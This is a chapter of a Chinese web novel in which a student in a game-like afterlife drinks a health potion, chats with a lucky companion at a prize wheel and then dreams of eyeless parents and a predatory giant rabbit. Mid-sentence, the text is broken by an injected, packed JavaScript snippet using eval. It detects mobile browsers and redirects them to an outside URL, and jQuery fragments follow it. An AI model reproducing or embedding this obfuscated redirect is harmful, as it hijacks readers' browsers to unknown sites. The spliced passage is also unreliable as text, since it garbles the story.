23. 妈妈、梨和兔子

作品:《早八暂停,全校大逃亡

    【检测到该玩家目前生命值为0,赠与进行中——】


    陈怡静看着这几条消息,整个人无意识地蜷起来:“他会……活过来吗?”


    【赠与失败】


    【生命冲剂仅支持生命值大于0点的玩家使用】


    【初级生命冲剂撤回,是否继续使用?】


    “……行吧,那给我自己用吧。”


    她刚说完,一个装着棕色液体的试管就出现在自己手中。


    陈怡静拆开木塞喝下去,咂巴了下嘴:“这根本就是小柴胡颗粒吧我说。”


    【生命值+10】


    “嗯。加了生命值。果然也并没有感觉很有生命力。”


    陈怡静摘下眼镜,彻底向后仰,躺倒在宽大的沙发上。


    古朴典雅的吊顶装饰在她的视野里模糊成一团。


    陈怡静一时有些恍惚起来。


    又过了一关。


    前面又还有多少关?


    她叹了口气,扒拉着沙发一角坐起来,伸出巴掌抻开蓬乱的头发,梳到底发现梳不下去:“头发开始分叉了呢。会不会有一关的通关奖励是一头柔顺长发或者一瓶护发精油呢?”


    【提醒:护发精油可通过商城购买】


    “那柔顺长发呢?”


    【无法提供帮助】


    难过,就算是在异世界也不能一键靓丽吗。


    陈怡静掏出好久没碰过的手机。


    她本来找了赵达莎要来了肖彰的联系方式打算联络他的。但手机在第一关就摔坏了的肖彰,根本联络不上。


    ——这家伙,赚那么多钱也不知道去搞个手机什么的吗?


    校园论坛板块里倒是多了很多帖子。


    #攒功德|淘金浪速通攻略


    #每天坚持上dy和xhs曝光彼岸但根本没用


    #和导师分到了敌对阵营玩游戏


    …


    “话说在这上面发帖子有什么奖励吗?”


    【论坛发帖视帖子的点赞评论等数据奖励彼岸币或功德。】


    “好哇,连你们彼岸都在大搞流量运营是吗?”


    陈怡静丢开手机打了个哈欠,扭扭僵硬的脖颈,听到自己的骨头嘎达作响。


    上楼回房间,结果收到欠费未缴不予入内的提示,只好又下楼去前台办入住。


    缴费时忽然多了一个异样的提醒。


    【尊敬的客人,请问您确定要在今晚留宿吗?】


    “我还有别的选择吗?”陈怡静问。


    【最近的住处距离本店7公里,你可以搭乘摆渡车前往】


    “最近一班摆渡车是什么时候?”陈怡静又问。


    【晚上11点55分】


    【如果您觉得等待时间过久,可以徒步前往】


    “我累了。我被你们这个区的阴险天气和阴险游戏搞得很累。”陈怡静办理入住,又对着屏幕输出道,“你们就不可以给我几百块的精神补偿吗?”


    /玩家陈怡静已经完成入住手续/


    “可恶,小小的酒店负责人竟然敢无视我这个高贵的市民。”


    /温馨提示,本会场“全民公决”中选择留宿的玩家有以下几位:雷一名、江亦奇、季佳怡、陈怡静/


    为什么要给这种提示?


    正当陈怡静感到古怪时,响彻酒店的语音又继续道。


    /本会场晚门禁解除,六楼及七楼区域已经开放/


    说起来,整个游戏过程中,五楼以上都是禁止玩家入内的,而现在突然开放……


    陈怡静很快意识到,选择留宿的人,应该就是下一场游戏的玩家了。


    这种提示也就意味着,下一场游戏马上要开始了。


    烦,早知道她就去外头等摆渡车了。


    这糟糕的运气真是应了那句老话。


    “——运气差的人运气都不会太好。”


    绕过转角时,陈怡静又看见了那个转盘机子。


    她止住刚抬起的腿,像个复建患者似的,生疏机械地后退,回到转盘面前。


    /本日幸运点心活动,欢迎各位客人参加/


    /一等奖限定烛光双人晚餐,二等奖下午茶套餐1份,三等奖芒种区进口巧克力1盒/


    /本日一等奖获得者:暂无/


    “又是一场彻头彻尾的消费主义陷阱。”


    既然已经开始花钱了,陈怡静决定还是捂住自己的钱包,再吃不到葡萄说葡萄酸地痛斥一句。


    “切。消费主义的陷阱。”


    忽然一个比她高大不少的身影盖下来:“今天是三明治啊。”


    陈怡静扭头去看,那男生的侧脸有格外分明的轮廓,她抱起双臂转身靠在机子上:“是一等奖才有六个三明治好吗?你——”


    “当啷”的一声,是硬币落入投币口的声音。


    【市民陈怡静X杀手肖彰,转盘投币支出-30B】


    指针伴着电子乐快活地奔动起来。


    陈怡静:“你不会以为还像昨天一样好运吧?”


    肖彰的指头有一搭没一搭地叩着玻璃,直到指针在他的凝视下如愿以偿地指向“一等奖”的那一刻,这才垂眸看向陈怡静,扬起志得意满的笑容:“不是以为。是我就这么goodlock。”


    “你这个绝望又得意的文盲。”陈怡静纠正他道,“那是luck。lock是锁好吗。”


    “哦原来读luck啊。”肖彰弯身去拿奖品口闪现出来的三明治。


    陈怡静一手被塞过来一个三明治,她嘴角一抽:“你到底为什么会这么走运?你其实就是主办方的人吧,趁早给我解释清楚你的真实身份。”


    “我是主办方他爹。”肖彰笑笑,又随手撕掉包装袋,咬下一大口,鼓着腮帮子咀嚼起来。


    陈怡静多看了他两眼。


    眼前这个人有一种无论什么时候干饭,无论干什么饭都很香的气质。


    肖彰真应该去摆摊,给大家直播自己吃饭,这样应该也能赚不少打赏。


    恩……


    或许是个好点子……


    “哎!你干嘛用这种眼神看我!”肖彰咽下嘴巴里的食物,脸往后一缩,“感觉你想把我卖了。”


    “我只是在思考你身上有没有可以榨取的价值。”


    陈怡静第N次叹气,晃了晃脑袋。


    淘金浪和肖彰一别之后,虽然只分开了几天,但她总觉得好像已经过了很久。


    希望他还活着。


    还有胡雨菲和徐可宜,她的两个室友,也不知道现在怎么样了。


    希望她们也还活着。


    【动善念,功德+1】


    -


    十一点不到,陈怡静早早精心洗漱一番,沉浸地躺进柔软温暖的大床,把自己和屋外的阴湿氛围隔绝开来,很是舒坦。


    她以为,结束全民


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490396|169406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    公决的这一晚,自己终于可以好好睡一觉了。


    然而陈怡静再次陷进某种周旋的漩涡。


    “怡静,吃些梨吧,已经切好了。”


    她这次有了一些力气,吃力地抬起头,向那温声细语的来源看去。


    陈怡静的妈妈笑容浅淡,脸上有她熟悉的沟壑与暗沉,但那两只眼眶里却没有眼珠,只映出空洞的黑窟窿。


    【心智-1】


    陈怡静没觉得有什么奇怪,好像没有眼球是一件理所当然的事,她摇头说:“我不想吃。”


    “你太挑食了。这很营养的。”妈妈不悦道,伸手叉起一块氧化发黄的梨,递到她的嘴边,“来,妈妈喂你。”


    陈怡静倔强地紧闭着嘴巴。


    那块梨被用力贴到她嘴上,颗粒把她的双唇摩擦得生痛。


    还是塞不进去。


    妈妈撤回手:“好吧,那我也不想逼你吃。”


    陈怡静就这么松了口,而就在她还没喘上气时,妈妈又趁机把梨塞进了她的嘴巴里,殷切地说:“看吧,很好吃的,是不是?”


    那种甜腻的气息开始侵蚀陈怡静的口腔,绵烂的触感企图占领她的味蕾。


    陈怡静抠住自己的嗓子,趴到地上呕吐,一滩糊状物从她的嘴里掉出来,还黏着她的口水。


    妈妈见状,抓起碟子里的梨子块就要塞进她的嘴里:“你怎么能吐掉?妈妈喂你吃东西,难道让你恶心吗?你小时候还不是我喂的吗?”


    【心智-1】


    陈怡静没有喊叫的能力,只能捂住自己的嘴巴。


    那时候家门被推开了。


    陈怡静家的门很松,不知道为什么永远都锁不上,她从前好几次尝试上锁,可总是锁不住,不过她现在没空管这个。


    进来的是她的爸爸。


    拎着一个行李箱,有远道而来的尘土气息。


    “倒杯水给我喝。”他说。


    “怎么回来了也不知道提前说一下?”


    妈妈去倒水了。


    得救的陈怡静还跌坐在地上。


    “难道我回来还要预约吗?”爸爸瓮声瓮气的,他的眼眶里也没有眼球,西装不合身,肚子那块像是要撑开了。


    “你不就是把家当旅馆的吗?在外面的话,十天半个月都不会打个电话问问。”妈妈说。


    “我在外面工作是为了谁?我供你们吃,供你们穿,还不够累吗?”爸爸说。


    于是他们又开始吵架。


    挺好的,这样她不用被逼着吃梨了。


    陈怡静撑着地板站起来,摇摇晃晃地,推开家门走出去。


    爸妈的争吵声一下子像套上了罩子,模糊地被抛在后头。


    或许是因为近视,她看不清任何东西,只知道自己跌跌撞撞地步入一个开阔的地方。耳边也朦胧地听见一阵声音,似乎在呼唤她——与其说是呼唤,不如说是召唤。


    那个声音好熟悉。她仔细听却听不出内容。


    停住脚步时,陈怡静的双眼聚焦在不远处的一只巨型兔子身上。


    那只兔子先是趴在草丛中,然后慢慢地立了起来。它比她更高大,但很瘦很瘦,肋骨都凸出来。粘腻的皮毛上有凝固的黑色血块,还有一双猩红色的眼珠死死地盯着她。


    这种猩红色在她昏暗的视野里格外扎眼。


    她读出它眼里的饥饿、兴奋、贪婪。


    它渴望杀掉她。